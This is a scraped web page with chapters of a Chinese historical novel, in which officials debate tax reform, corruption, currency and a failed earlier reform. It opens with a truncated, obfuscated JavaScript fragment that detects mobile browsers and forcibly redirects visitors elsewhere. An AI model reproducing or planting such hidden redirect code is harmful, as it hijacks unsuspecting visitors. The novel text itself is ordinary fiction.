d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728616|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这种事?你们的新法就是借鉴此人?” 高齐等众士子皆点头。但那个“是”字还未说出口,就被一个更加惊讶的程亦风打断了:“夫民乃国之本,社稷之托,封疆之守皆赖于民。古人有云,以天下之力生天下之财,取天下之财供天下之费,民贫则国贫也,其害大矣。然古之治世,不患财不足,患治财无道尔……你们读的策论,可是这一篇?” 士子们无不惊讶:“程大人竟也知道此文?” 程亦风如何不知?“这……这是我写的呀!” 众人惊得眼珠子也要掉出来了。竣熙欣喜万分:“程大人,原来你早就主张革除旧弊……我怎么……一点儿也不知道?” 程亦风真是不知道要哭好还是要笑好:自己不就是因为那篇策论,才在出知安德八年之后被调回京城的么?那是元酆十六年,岂料在元酆十七年他的文章流传出去,就成了“无名氏”。而其中引文,竟然作为科考试题,这实在也太……啊,前年,元酆二十一年,不就是主守派倒台,他被牵连的那一年么?党争之中,将政敌的文章抽出一两句来作为科举考题,借天下学生之笔来羞辱之,这种行经史书中也有记载——看来是什么人活学活用了! 真是可笑!真是可笑!他挠着头,忍不住“嘿嘿嘿嘿”笑出了声。 竣熙不解:“程大人?” 程亦风深感世事弄人,笑得有些前仰后合:“殿下恕臣无状……想我程某人八年安德令,一番心血先成了无名氏,后又被当作荒诞之语。年来臣和臧大学士数次上疏,也从来无人问津。今天下人听我程亦风之名则知落雁谷,知大青河,知落荒而逃侥幸取胜,但不知我十年来孜孜以求之事……” 竣熙惊讶不已:“程大人和臧大学士上过变法折子?落雁谷之后也有么?” “怎么没有?”程亦风道,“不过,似这般‘不怕死’的却没有了,就搞了些‘节俭过年’之类的,还都是马虎收场。” “那次原该怪我没有坚持到底。”竣熙道,“不过这一次,我心意已决,纵有千难万险,也要革除积弊!”他说着,一壁招呼一直侍立在旁的顺天府尹放了风雷社众士子,一壁朝外走。停了停,又道:“程大人,诸位士子的奏章我是在通政使司里偶然翻出来的,看样子他们并没有打算把这折子交给我。不晓得那里是不是还封存着许多这样的折子,当天我走得急,并来不及彻查。烦程大人把这些折子都调出来,其中兴许还有许多利国利民的建议。” 程亦风少有接任务接得这么开心的,少年时的那团火在胸中熊熊燃烧,一时将大青河的那些头疼事都抛开了一边,立刻来到了通政使司,查看封存的旧奏章。果然不出竣熙的所料,从来不曾送呈御览的奏章堆积如山——这要如何查起?问了库房的小吏,答道:由于元酆帝多年不理朝政,所以只有特别紧急的,才呈递上去。余下的,多是请安问好的——这其中,若有奏报某地出现祥瑞之兆的,也会呈递,其他的压下不报。 说来说去,还是一点儿用处也没有。程亦风只得道:“那么就将所有的折子——除了那请安问好的,都给我吧。” 于是,通政使司的小吏们帮他抬出了两大箱三百多本奏章,而通政使姚长霖更是莫名其妙地盯着他,觉得这位兵部尚书又来做“狗拿耗子”的事情了。 程亦风不在乎别人的眼光,一个自己以为被判了死刑的梦想,仿佛有了实现的可能,他睡觉都会笑起来——当然,自从领回了这两箱东西,他也就没有了睡觉的时间,无日无夜,天昏地暗。 他把所有的奏章先浏览了一回,但有毫无关系的,就丢到一边,最后捡出提到旧制弊端或改革之法的折子七十余本。这才仔细阅读。虽然问题不外乎风雷社士子们总结的三条:民贫,官冗,外虏。只不过是其中的细枝末节实在太多,尤其“民贫”一条,各地有各地的难处,南北东西处处不同。而奏章多以陈述问题为主,提出解决方案的少之又少。程亦风越看越郁闷,越看越头痛——当然也越看越疲劳,终于不知不觉睡了过去。 醒来的时候也不知是什么时辰,依稀见到有人影,似是小童,就揉了揉眼睛,唤道:“把灯移近些,快天亮了么?” 那人果然依言擎着灯走近了,笑道:“是才天黑,大人。你这是要鞠躬尽瘁么?”原来竟是符雅。 程亦风一惊,赶忙检查仪容,然后问道:“符小姐怎么来了?”胡喆事件之后,已经很久没有见过她了。 符雅一笑:“还不是因为你程大人?你废寝忘食,把你的书童吓得不知如何是好。想找臧大人来劝你,他正好还在衙门没回来,他又跑去找你家公孙先生,结果老人家去祭拜故人去了。可怜的孩子,左思右想,不知怎么病急乱投医就想到了我,到我家里来说,无论如何要来看看大人你——我这不就来了么!” 这小孩子!程亦风窘迫:如此举动,岂不是要符小姐误会么?若叫外人知道了,置他人名节于何地? 符雅还是一如既往的大度,把几张纸送到程亦风的面前:“枯坐无聊,希望没有给大人帮倒忙才好。” 程亦风掩饰尴尬地笑了笑:“符小姐的诗才程某上次见识过了,这回可要好好拜读。”但接过来一看,却哪里是诗词?符雅已经照着他那“税收”“吏制”“刑罚”“徭役”等项目将各篇奏章里的观点提纲挈领地抄录在下,字迹工整,条理清晰。与之相应的新法提案就写在另外的纸上——几乎都是出自程亦风当年的策论和风雷社士子的文章。但文士作策论,难免有些引经据典,有时还喜欢前后对仗,弄些骈四骊六的名堂。符雅抄来,就将无关紧要的修饰之辞都省略了,反而一目了然。程亦风惊讶道:“符小姐,这……这……” 符雅道:“怎么?是我帮了倒忙了,把程大人吓成这样?那你还我,还是我烧了干净——”说时,真的来夺。 程亦风怕她当真像上次那半阕《满江红》似的“烧了干净”,赶紧护住了:“小姐不可玩笑,这……这可是百年大计。要是烧了,将来在太子跟前交不出差来,那我程某人就不是鞠躬尽瘁,而是,轻慢渎职了!” 符雅理会得轻重,玩笑懂得见好就收。“程大人睡醒了,肚子里该闹空城计了吧?我已叫他们给你准备了晚饭,现在时候正好。”说时,自出门去吩咐小童,不多久,就端了碗面来。 程亦风果然是饿狠了,看到这清汤面,肚子里都不由“咕噜”了一下,闹得他老大不好意思,红着脸对符雅道:“符小姐几时来的?要不也……”才出口,又后悔:就拿清汤面招待人家,算什么待客之道? 幸而符雅也不打算“分一杯羹”,只笑道:“堂堂靖武殿大学士,一国之相,家里没个下人也就算了,竟然连菜蔬都少得可怜。哪个一品大员似你这般?传出去,人家要笑你一毛不拔呢!” 程亦风道:“符小姐也是官家出身,难道不知?别看一品大员岁俸一百八十两,但花消却也不少。首先府邸的规模就有定制——我不要住住这么大的宅子,却硬塞给我。请人管家,自然要付人工钱,内外花消,一百八十两还得把一个铜钱掰成两半用呢。” 符雅笑:“程大人在户部做过员外郎吧?天天为朝廷精打细算,对自己也是一个样儿。京官的确是辛苦些,但之前你不是也做过知府么?人说‘三年清知府,十万雪花银’,你就没存着点儿?” 程亦风听言,正色道:“这种无耻之事,程某不屑为之。小姐可知那‘清知府’的‘十万雪花银’是从何而来?且不说敲诈勒索,这种地痞才用的手段,就说税收的‘火耗’这一条,他们胡乱上报,害苦了恁多百姓,朝廷还偏偏难以查实——若每年能贪一方税银的百分之一,三年下来虽无十万但也可观。” 原来楚国规定各地征税所得的散银需要铸造成统一规格的元宝,再由县送到州,由州送到中央。铸造之时难免有所损耗,称之为“火耗”,须摊派征收补齐。地方官有时故意夸大火耗,向老百姓横征暴敛。由于确实各地铸银技术有差别,朝廷没法核查,只有听之任之。虽然火耗虚报的幅度有限,但积少成多,就成了一大问题。程亦风刚在荆门县的一份折子中看到,不意还有此种卑鄙手段,气得直发抖。 “至于京官嘛,”他道,“也不至于就饿死。什么‘冰敬’‘碳敬’,红白喜事,总有些名目拿钱。” 符雅看他说得激动,略笑了笑,道:“看我,把大人的话头挑起来,惹得大人面也忘记吃了。刚才替大人抄折子,读到大人整顿吏制的主张,说要杜绝京官收取贿赂,并且统一各地银锭铸造——这可工程浩大哩,大人若不吃饱了,哪有精神做?” 哎呀,人家符小姐方才都读过了,我却把人家当了无知小子似的教训!程亦风红了脸,搭讪吃面去了。 符雅立在一边,先把案上的奏折书本略收了收,接着拿起墨来轻轻地磨。程亦风偶一抬眼,见她一手提着袖子,另一手捏着浓黑的墨碇,动作那样轻缓恬淡,暖黄的灯光下叫人看着说不出地温馨,这就不由自主地生出“红袖添香夜读书”之感,一阕《南歌子》自然而然溜到了嘴边:“红袖添香兽,回廊月转初。忽然拈起旧时书。那日城头遇,今生重见无。十年一梦醉谁扶?” 唉,当日的那个女子……此生无望,早该忘了她吧! 符雅见他发呆,唤:“程大人?” 程亦风这才惊醒:该死!该死!我对着符小姐胡思乱想什么!赶紧埋头吃面。 饶是符雅聪慧,也未猜到程亦风方才想起的乃是风月公案,疑心他是惦记着公务,就把桌上的折子一抱,道:“程大人这么急着要鞠躬尽瘁呐!你要是倒下了,谁来收拾你铺开的摊子呀?为了国家好,为了百姓好,符雅先把这些都没收了,等你吃好了饭,再还来!” 程亦风由着她,自去吃面,完了叫小童进来收拾好,才道:“符小姐可以把公文都还给程某了吧?” 符雅道:“自然。” 这时天色已晚了,大家小姐早该告辞回家了,可符雅却丝毫没有离开的意思。程亦风倒不便逐客,只问:“小姐既来探望程某,又帮了程某的忙,若有什么程某可以效劳的地方,小姐但说无妨。” 符雅用手指轻敲着自己的额头,仿佛是思考,片刻,道:“符雅有个疑问,想请教大人。” 程亦风道:“请讲。” 符雅道:“大人决心要断了官员们的财路,这之后你打算让他们怎样过活?” 程亦风愣了愣,道:“什么‘怎样过活’?不是有一份俸禄在那里么?” 符雅道:“程大人的父母可还健在么?” 程亦风不知她为何有此一问,道:“程某少孤,母亲也在我中举之前就去世了,可谓子欲养而亲不待。” 符雅点了点头:“那么程大人可有夫人、儿女?” 这就是明知故问了。程亦风道:“孤家寡人一个。” 符雅又点了点头:“那么程大人就是上无老,下无小了。按照圣人的教训,修身、齐家、治国、平天下,不知我楚国大小官吏有多少和程大人一般?” “恐怕可数。” “那么我楚国又有多少一品大员?” “也应可数。” 符雅道:“程大人官拜一品,岁俸一百八十两,又‘一人吃饱,全家不饿’,还是生活艰难。请问一个岁俸四十五两拖家带口的七品知县要怎么过活?” 程亦风一怔,不知何以对答。 符雅又接着道:“当然,程大人方才也抱怨过了,官居一品就一定得住一品的宅子,花消可观。不过,一品大员在衙门里自有副手,薪俸由朝廷供给,不像地方小官,要自费请师爷——师爷又难免要有自己的老小要养,不知这个花消和打理一间恁大的府邸有几多差别?” 程亦风呆呆的:“符小姐的意思是……” 符雅打了个哈哈儿:“我有什么意思?只是想不通就请教程大人而已。俗语常说‘官逼民反’,说的是朝廷不给老百姓活路了,老百姓只得铤而走险,斩草为兵,揭竿为旗,豁出去和朝廷拼了。不过,假如朝廷逼得官员无路可走,既不给人糊口,又不准人寻些不义之财,官员当要如何呢?” “这……”程亦风只想着惩治贪污腐败,哪考虑到这些? “那官员当然也就穷则思变了!”蓦地,门外传来公孙天成的声音。 36. 第 36 章 公孙天成话音落下也就走了进来,向程亦风、符雅都问了好,道:“老朽祭拜故人方才回来,童子说大人的书童来找过老朽,于是赶紧前来,正巧听见大人和符小姐对话,忍不住插了句嘴,望两位见谅。” 符雅掩口笑道:“公孙先生莫要笑话,符雅问了个愚蠢至极的问题,不知先生有何高见?” 公孙天成道:“小姐勿须过谦。老朽连官也不是一个,哪里能对吏制发表什么议论?只不过刚才小姐说大凡地方官都自费请师爷,是一笔不小的开销,而京官就有衙门里现成的副手,其实也不尽然——老朽不就相当于程大人的师爷么?只不过是老朽的运气好,太子殿下赏了老朽一处容身之所,一个应门童子,还有一份糊口的工钱——论数目,大概和个七品官也差不多。但若老朽真的顶上个七品头衔,恐怕程大人要裁汰冗员,老朽就首当其冲了。” “先生说的哪里话!”程亦风虽然知道老先生此番回来时和自己告别,但是其向日的功劳不可抹杀,“若没有先生,哪有今日的程某人?裁汰冗员就是裁了程某人,也不能裁了先生。” 公孙天成摇摇手:“老朽本来就是编外不入流的人,裁也裁不到老朽的头上。不过大人有没有想过,如今这么多荫补的官员,空吃的朝廷的俸禄,却没有实际的差事可干,这其中有没有一些当真有才的、可以给官员做师爷做副手的?让他们补到这些职位上,既可一展身手,又不白拿薪俸,官员们又不用另外花费,岂不一举三得?” “果真!”程亦风惊喜,又道,“只是,有些荫补的功臣子弟出身高贵,恐怕不肯屈居副职。而且荫补的人实在太多了,大约全楚国也不需要这么多的副职吧?” “那是自然。”公孙天成道,“所以大人当先改荫补法,说明只能荫补直系——比如长子嫡孙,且只能荫补特定的职位,比如书记官、顾问、军师,等等。荫补之后与其他官员一样,三年一考绩,若不能胜任,立刻辞去。这样,一心想混口白饭吃的人就站不住脚了。” “可不是如此!”程亦风喜道,“官员考绩也该一般严格,特优才予升迁,不合格者应立即辞退。此事当由吏部和獬豸院共同担当,我正打算奏请成立一个临时的考察司,专门整顿官员考绩问题。” 公孙天成未置可否。只符雅在一边道:“看来符雅果然是问了一个愚蠢至极的问题,公孙先生三言两语就解决了。符雅今日才算明白,什么叫‘姜还是老的辣’!” 公孙天成道:“小姐谬赞了。也要小姐先想出这个问题,老朽才能‘灵机一动’。小姐才是心思缜密,考虑周到啊。” 言下之意,岂不是程亦风原先心思不缜密,考虑不周到么?不过程亦风也不在乎,解决了一个大问题,他开心还来不及。 符雅笑道:“哎呀,公孙先生莫要恭维我了。其实我找程大人的茬儿,是有不可告人的私心呢!” 程亦风知她喜爱玩笑,但还是被勾起了兴趣,问道:“小姐有何私心?” “不可告人,又是私心,原来是不该说的。”符雅道,“不过公孙先生素有神算之名,符雅岂敢装神弄鬼?只好交代了——我从太子殿下那里听说了,他有心变法,叫程大人整理所有新法提案,一切妥当之后,就要在两殿辩论改制。这场论战想来是十分精彩的。不过,我虽自知有亏妇德,却还不敢缺德到跑到崇文、靖武两殿上去偷听。所以就在这里想几个问题来难一难程大人,自己过一过干瘾啦!” “变法?两殿辩论?”公孙天成愣了愣。 程亦风赶忙把顺天府大牢里的事情略略说了一遍:“当时太子殿下只是让我阅读旧奏章,看看有否可取之法。虽然他表了改制的决心,但两殿辩论,应该还早吧……”虽然自己心里是一团兴奋,但是想到公孙天成早先曾说过,他只不过是不停地企图找一种药来使得楚国苟延残喘罢了,心里不免闪过一丝阴霾,自嘲地笑了笑:“先生看来,我抓的这一帖药,恐怕也治不好国家上上下下这么多毛病吧?” 公孙天成呵呵一笑:“世上有哪一种药能够包治百病?如果因为找不着这种灵药就把病拖着,岂不更加只有死路一条?” “可是,如若是病急乱投医,那不会死得更快?”符雅插嘴。 公孙天成看了她一眼,道:“小姐看来,何为乱投医?” 符雅道:“就好比一个郎中给人看病,说病因是甲乙丙丁等四条,可开出来的药却一条不能治,或者只能治甲、乙,不能治丙丁,那旁人是不是可以有话说了?不如等一等,先养着,或许将来遇到个好郎中——又或者说,这个郎中根本就是个庸医,连诊断都诊断错了。” 公孙天成道:“小姐所言极是。若病因是甲乙丙丁,这郎中所开的药方起码要能治甲乙丙,或其他任意三条,这才能使人信服。不知小姐看程大人的新法,将旧时积弊治了几条?” 符雅道:“程大人说急务有三,民贫、官冗、外虏,而民贫为重中之重。民贫的成因程大人总结为赋税、徭役、豪强。新法中有‘方田法’可制止土地兼并偷税逃税,并鼓励百姓开垦荒地,又有‘官买法’变地方供奉为中央采买,使得富庶之地的粮食不至于浪费,而贫瘠之地的百姓不至于多交赋税,由此看来,新法对‘赋税’一条可算解决的完满。”她顿了顿,又道:“但是,徭役使百姓不堪重负,新法只说要减免,请问减免之后差事要由何人来完成?至于豪强,新法中有‘官卖法’,使他们不得再囤积居奇哄抬物价,但青黄不接之时,百姓无米下锅难道不要像富户借贷?此时一个愿打,一个愿挨,富户怎不乘机放高利贷?请问程大人若是禁止富户提高贷息,一旦他们拒绝将粮食借给农户,农人将何以糊口?” 公孙天成拈须沉吟片刻:“程大人的新法可否借老朽一看?” 程亦风没想到公孙天成愿意给自己意见,求之不得,连忙把那几页纸递上。 公孙天成一目十行,读得飞快,只一刻,面上就露出了微笑,喃喃道:“官买法……官卖法……没想到又有人……真是天意!” 程亦风正是不解,老先生却将那几页纸又放下了,负着手,道:“既然已有官买官卖,老朽再给大人献上一条‘官雇法’和一条‘官贷法’。前者是指由朝廷出资,雇佣各地闲散人员来担当各项杂役。若普通农户在农闲时愿意为朝廷出力的,也可参与。总之,凡为朝廷做事的,必然给予工钱。后者是指由朝廷出面将国库中的官粮以及各地留存着以备赈济大灾的粮食贷给百姓,照样收取什一利息,秋收之后连本带利与当年的税银一并上缴。豪强粮多,岂能多过朝廷?况朝廷利息极低,信誉又好过商家,百姓岂有舍朝廷而趋豪强之理?久而久之,豪强无利可图,自然就无法再欺压百姓了。” 举一反三,公孙先生果然厉害!程亦风想,只是,事事都要朝廷出资,朝廷哪里还那么多银两? 他不及问,符雅先提出来了:“朝廷虽然铸银造钱,但是朝廷毕竟不是个聚宝盆,哪里就变出那么多银钱来又是买粮食,又是雇杂役?” 公孙天成笑:“朝廷的钱多从税收而来,若要敛财,非得开源节流——节流之项,程大人以提了,要精兵简政,老朽不赘述,而开源一项,可以大做文章,首先一条就是加税。” “加税?”程亦风和符雅都是一愣:那岂不是和新政的‘富民’宗旨背道而驰了么? 公孙天成道:“不错,就是加税。但不是加在百姓身上,而是加在以往不曾纳税的那些人头上。” 此言一出,程亦风不禁心头一亮:“先生的意思,是向寺院道观征税?” 见程亦风已然开窍,公孙天成便笑而不答。楚国一向以泱泱大国礼仪之邦而自居,对于佛教、道教,乃至由胡人传来的回教、景教一视同仁,以礼待之,寺院多享民间香火,又有“功德田”不须纳税;宫里每遇大事,依各个皇帝皇后太后的喜好不同,请各自尊敬的法师入宫讲道做法,免不了又有一番赏赐,更便宜的是,僧侣道士皆免徭役,他们的生活,可谓除了吃斋念佛不可婚配之外,逍遥可比皇宫大臣。如今若向他们征税,虽然免不了口舌之争,但能给朝廷带来多少财富啊! 想着,程亦风立即拿笔来记。符雅善解人意,从旁替他铺纸,磨墨,但又问公孙天成道:“先生从寺院道观收取税金,的确可得一笔额外之财,但是,全国寺院道观能有几许?倘有十万处,每处征税一百两,则一年征得一千万两。符雅不才,那日曾在东宫中偷看过我朝国库收支记录——太宗朝时大约每年收入四千万两,支出一千三百万两,神宗朝时,越收入四千四百万两,支出八百八十万两,而元酆年来,收入虽然达到五千万两,但支出也几乎是五千万两——程大学士的新法,虽然有‘方田法’杜绝逃税,但此法同时也减了不少劣等土地的赋税,不知是否会持平,如今又要用国库银两进行‘官买’‘官卖’‘官雇’和‘官贷’——这‘官买’一项且撇开不论,就算是和旧法持平,那么其他三项,大人打算用那新征上来的一千万两完成?符雅请问,如此庞大的工程,一千万两能够完成么?即使完成,收支平衡,那我国国库岂不还是空的?” 公孙天成不禁深深地看了符雅一眼:这个女子不简单,竟把楚国几代皇帝的收支看得滚瓜烂熟,反应迅速,计算清楚,实在非同寻常。不过他却并没有被符雅难道,而是从袖中取出一吊铜钱,哗啦一晃,道:“钱之为物,虽然清高者往往鄙视之,但朝廷离不了它,百姓也离不了它。钱,究竟有何用?老朽随便说说,大概用处有六:一乃定价,青菜豆腐价值几何,若没有钱,总说也说不清楚;二乃通货,有形之物贱如糠秕,贵如珠玉,皆可用钱而买之,若无钱,用三头牛换五匹马,虽无不可,但未免麻烦;三乃支付,无行之物,如劳力,如学问,甚至有些人的志气,都可量而买卖,今人领俸禄便是此道理;四乃贮藏,若人有三千石米,存之十年难免霉烂朽坏,若改存为银两,百年而不朽,符小姐质问老朽国库空虚,说的就是无贮藏;五乃治市,所谓‘君有山,山有金,以立币’,朝廷乃是举国上下唯一可以造币者,若货少而币多,则金贱也,若货多而币少,则金贵也,换言之,一文钱究竟能买多少东西,朝廷通过铸币可以干预;六乃克敌,譬如我与樾寇交战,樾国不靠海,不产盐,每年须向郑国购盐,若我国将郑国的海盐大量买入,抬高其价格,或者干脆使樾人无盐可吃,劲敌便可不攻自破。”一气讲到这里,他才停了停,道:“综上而论,银钱之用处远不止贮藏,而老朽窃以为,通货、支付乃是其首要之用。打个比方吧,老朽这里有一吊钱,今请符小姐为老朽解一次围,将这一吊钱当成酬劳付给了符小姐……” 符雅不意他还记得自己当日和程亦风开玩笑,说要专门替人解围,轻轻一笑,将一吊钱接了过来。 公孙天成又接着道:“符小姐回家之后也许马车坏了,就把一吊钱交给车夫让他去修理。那修理马车的人修了车子,拿了钱,便去买米面养活一家老小,而那卖米面的拿了钱或许突然想算了个姻缘卦,就又找到了老朽——这一圈转下来,一吊钱又回到了老朽的手中,然而老朽得符小姐解围,符小姐修好了马车,修车人养活了全家,卖米的又算好了婚姻……各人所得的利处加起来是五十吊,这岂是老朽一人把一吊钱收藏着就能做到的?” “啊!”程亦风素未想到花钱还有这许多学问,茅塞顿开,激动得“倏”地站了起来,“先生高才,晚生……晚生……” 符雅轻轻一笑,将那吊钱又还给公孙天成:“算一卦姻缘要收一吊钱,先生的要价还真高呢!” 公孙天成也笑:“符小姐给人解围也要收一吊钱,要价也不低呀。就不知老朽在这里让你‘过干瘾’刁难了半天,应该向你收几多银两?” 看穿了自己是在想象两殿辩论的情形,符雅抿嘴笑道:“这钱不该向符雅收,要收就得向程大人收。符雅在这儿一忽而装张大人,一忽而装李大人,把刁难的问题都问了一回,陪大家演练了半天,这也该收点佣金吧?” 程亦风这才领会符雅原来还有这番良苦用心,急忙作揖:“小姐大恩,程某不敢忘怀,小姐但有吩咐,程某万死不辞。” “嘻!”符雅笑道,“这就已经‘万死不辞’了?程大人真不会做生意。符雅本来还想了许多别的刁钻问题想要帮你演习演习,然后再敲诈你几本书回去解闷,现在看来倒不用了,我挑几本书就告辞吧。” “啊……”程亦风呆呆的,“小姐爱看什么,尽管拿去……” 符雅也不客气,自去书架边挑选。而公孙天成知道这个女子智慧非凡,她其他的刁钻问题恐怕也都是十分关键的问题,因道:“小姐等一等,把旁的问题问完了也无妨。程大人这里的书很多,莫非只挑几本就够了?” 符雅眯着眼睛:“还是不要了。符雅虽然缺德,但是还不想缺德成像玉旒云那个样子。国家大事我来饭后闲谈还可,若真的出谋划策,女人干政,虽不见得不祥,但总是落下话柄,给程大人找麻烦。再说,程大人孜孜不倦研究新法多年,公孙先生又多奇谋,再加上风雷社的士子们……啊,还有多年来写这些奏章的大臣……合你们诸人之力,两院的老学究岂是对手?更别提符雅了。”她晃了晃手中的两本书:“过几日就来归还,符雅告辞了。”说完,真的走出了门去。 程亦风愣愣的:这个女子,实在太……太特别了……半晌才回过神来,想,不错,正如符小姐所说,我致力于新政已久,公孙先生又足智多谋,方才他的一番见解,正是治世良策,有他襄助,我可同各官员据理力争,变法之事必然可成!只不过——他望了公孙天成一眼——老先生这是来跟自己告别的啊! “先生今后打算去往何处呢?”他掭了掭笔,打算将方才那关于银钱的议论记录下来,“不知先生走之前,能不能再多指点晚生一二?先生看了这些札记,觉得还有什么大漏洞需要及时补上的么?” 公孙天成瞥了一眼字迹密密麻麻的纸张,并没有再仔细阅读一次的意思,反而好像陷入了深思,良久,才道:“大人以为老朽方才的一番议论都是灵机一动想出来的么?” “先生学识渊博,信手拈来。”程亦风道,“而程某就书到用时方恨少了。” 公孙天成叹了口气,摇摇头,从怀里取出一本书来交给程亦风:“老朽若得此人十分之一,也不必靠奇门盾甲之术混口饭吃了。” 程亦风看了看,见书名是《于文正公集》,翻开来读序,作者并不认识,且这个“文正公于适之”也是没有听说过的人。但说到“公为崇文殿大学士,景隆九年主持变法”,且有“天变不足畏,祖宗不可法,人言不足信”的豪言,心中不觉一振,再看后面,却说他因为变法失败,最终自刎于家中。一个人谥为“文正”,而这位作序的又说他“由初迄终,名节无疵”,至少德行无亏。且不知他在变法之中究竟有何过失? 公孙天成道:“老朽同大人说要去拜祭一位故人,指的就是文正公。” “哦?”程亦风好奇道,“先生认识于大人,不知他究竟是怎样的一个人?他当初变法有哪些政令?后来又为何失败了?” 公孙天成指着那本《于文正公集》:“看一个人如何,就看他的文章如何,五陵少年决写不出忧国忧民之文。” 正是,程亦风想,要不然怎么说“文如其人”呢?他随便翻开一页,见上面写着“位在外也,遇而有之,人以名予之,以貌事之;德在我也,求而有之,人以实予之,以心服之”又言“独仁不足以为君子,当尽性也;独智不足以为君子,当穷理也”——这文风并不华丽,但敦实厚重,是大家风范。 公孙天成帮程亦风把文集番到后面,有一篇《人才论》,开篇即道“天下之广,不患材之不众,而患上不欲之众,不患士之不为,患上不欲其为”,接着便谈到楚国八股取士的弊端,以及官僚庞大之害,又提出了改革科举,精兵简政。和程亦风论述的新政几乎一模一样。 程亦风心中不禁既惊讶又敬佩,再翻过去,看到《君德论》《御臣论》《养兵论》《兴学论》《水利论》,然后有《均输论》正与那“官买法”大同小异,《市易司论》又和“官卖法”不谋而合,而《保元贷论》,说的正是用各地赈灾的保元仓之米作为朝廷放贷给百姓之本,和公孙天成所说的“官贷法”如出一辙。程亦风急急又翻了几页,看到《募役论》,一目十行地扫过,就知是“官雇法”的前身了。 啊,他自以为在安德刻苦钻研,开创新法,不想于适之在二十五年前就已经提过了,而且论述更加清楚,各项提议也比自己和风雷社士子的更加周到完备。这样的一次变法竟然失败了,那么程亦风正在计划的新政呢? “于大人的改制……究竟是为何失败?” 公孙天成将于适之的文集拿回来,轻轻地从头翻到尾,又从尾翻到头,幽然道:“文正公无过,是真宗先帝太过心急了。” 程亦风愿闻其详。 公孙天成道:“老朽初识文正公,在景隆三年,当时老朽还年轻,荒唐得紧,宁肯流连花街柳巷,也不想入朝为官。而且人又狂妄,自以为才高八斗,看不起做八股文章的士子,便为自己想出了一条好营生——专到考场替人做枪手。” “啊……”程亦风万想不到公孙天成也有如此“荒唐”的岁月。 公孙天成道:“景隆三年时,文正公正是大人现在的年纪,官拜翰林院掌院学士。那年的会试由他主考。老朽先已答应一个富家子弟替他入场应考,却不知此人在入场前一天与人当街打架闹事,已被抓进衙门里。老朽顶他的名考试,卷子被文正公亲自判为一甲,而待到拆封看名,就露了陷。文正公找到那富家子弟,命他招出事实真相,这便找到了老朽。”公孙天成说时,望了一眼跳动的灯火,仿佛往事一幕幕尽从中闪现:“老朽以为闯了大祸,难免要遭牢狱之灾,正想着要如何溜之大吉。岂料文正公决口不提替考之事,只问老朽为何学了满腹圣人文章却不肯为朝廷效力。老朽自然把平日所见之各种怪状一一数来,说:‘如此朝廷,岂值我公孙某人为之卖命?’文正公听言并不发怒,只道:‘天下者,天下之天下,非一人之私有。’这句话,我到今日还记得。” 会说“学成文武艺,货于帝王家”无甚希奇,知道“普天之下莫非王土”也无甚希奇,甚至谈论“天下兴亡匹夫有则”亦不甚希奇,然而要说出“天下为公”,非大仁大勇者不能。 公孙天成道:“文正公劝我来年应考,入朝为官,我当时依然没有答应。他也没有勉强于我,只不过自此之后,常常来与我清谈。就我所抱怨的时弊,他提出一些解决之法,与我商议。久而久之,老朽同文正公结为知己。” “景隆九年时,”公孙天成道,“据说是真宗先帝梦见他父亲神宗,责备他不会治国,使国库空虚。真宗醒后问满朝文武:‘治世当以何为先?’众官员有答‘仁’的,有答‘孝’的,莫衷一是,但大多是虚言。唯文正公答曰:‘以择术为先。’真宗奇之,问其详,文正公遂对以经世之术。真宗先帝大喜,命文正公条陈奏文可以施行之‘当世及务’,文正公领旨后,写了《答手诏条陈十事》,便是景隆改制之纲。” 这篇文显然也收在文集中,公孙天成翻到那一页,并不交给程亦风,自己读着,似有千般感慨:“《条陈》上后,真宗先帝立刻提升文正公为崇文殿大学士,令他领导变法。依文正公的设想,新法需要先在部分州县试行,观其利弊,再决定是否推行全国。如此一步一步行来,估计总要有十年才可初见成效。但真宗先帝性子甚急,第一个月内就不顾文正公和许多大臣的反对,连发了七十多条‘钦定’政令,第二个月又发出六十余条。” “这么多的政令,一时之间要让地方官员如何施行?”程亦风忍不住问道。 “别说地方官员,”公孙天成道,“就是京畿一带,大家也如坠云雾,不知这些政令哪一条与己有关,哪一条与己无关,哪一条应当先行,哪一条应当后办。有的官员按照圣旨将政令全部施行,结果事务比旧时更加混乱,自然叫苦不迭。有的官员则干脆假装没看到新政令,依旧按照老规矩做事,不过出了纰漏却一律推到新政之上。中央尚且如此,地方上究竟新法是如何施行的,有谁知晓?” 可不是么!程亦风想道,景隆九年时,自己才八岁,住在江东水乡小城,印象里县太爷从不曾说朝廷有新规矩,大家的生活也未有过改变。可见真宗的政令到了江东这“山高皇帝远”的地方,就成了一纸空文。 公孙天成接着说下去:“当时田亩未曾丈量,偷逃之税未曾追回。真宗又笃信佛理,不肯向寺院征税,国库空虚,哪里有用于‘均输’‘市易’‘保元’‘募役’等法的银钱?有些官员误会新法只是为了敛财,有些官员则是为了终饱私囊,于是将朝廷的均输衙门和市易司衙门变成了最大的垄断投机商,而保元仓就成了官办高利贷,募役一法因为暂时还无利可图,所以无人问津。这样一来,怎不弄得天怒人怨?” “岂有此理!”程亦风忍不住拍案道,“监察御史都在做什么?‘均输’‘市易’‘保元’‘募役’等法都是朝廷出面与百姓交易,数目巨大,必须防止官员贪污,獬豸殿应当全程监察,他们怎么能听任奸小借新法之名盘剥百姓?” “獬豸殿监察,文正公当时是这样设想的。”公孙天成道,“不过,这要求獬豸殿全心支持新法,并制订相应之监察措施……要花费时间,真宗先帝不管三七二十一,把政令全都发了出去,本来就已经惹得两殿六部万分不满。更何况两殿平章,翰林院和六部辩论,不仅可使政令越辩明,合乎公义,更可使满朝官员都对政令有所了解。真宗先帝一意孤行地发出政令,獬豸殿的御史们根本不知道政令里说的是怎么一回事,又如何监察?” 程亦风沉默不语。他对朝会上的论战向来反感,觉得除了党争还是党争。但听公孙天成这样说,他不由想道:若是和一批真正关心国事民生的大臣们讨论,对新法未尝不是一件好事。 “新法被弄到这个地步,于大人怎么处置?” 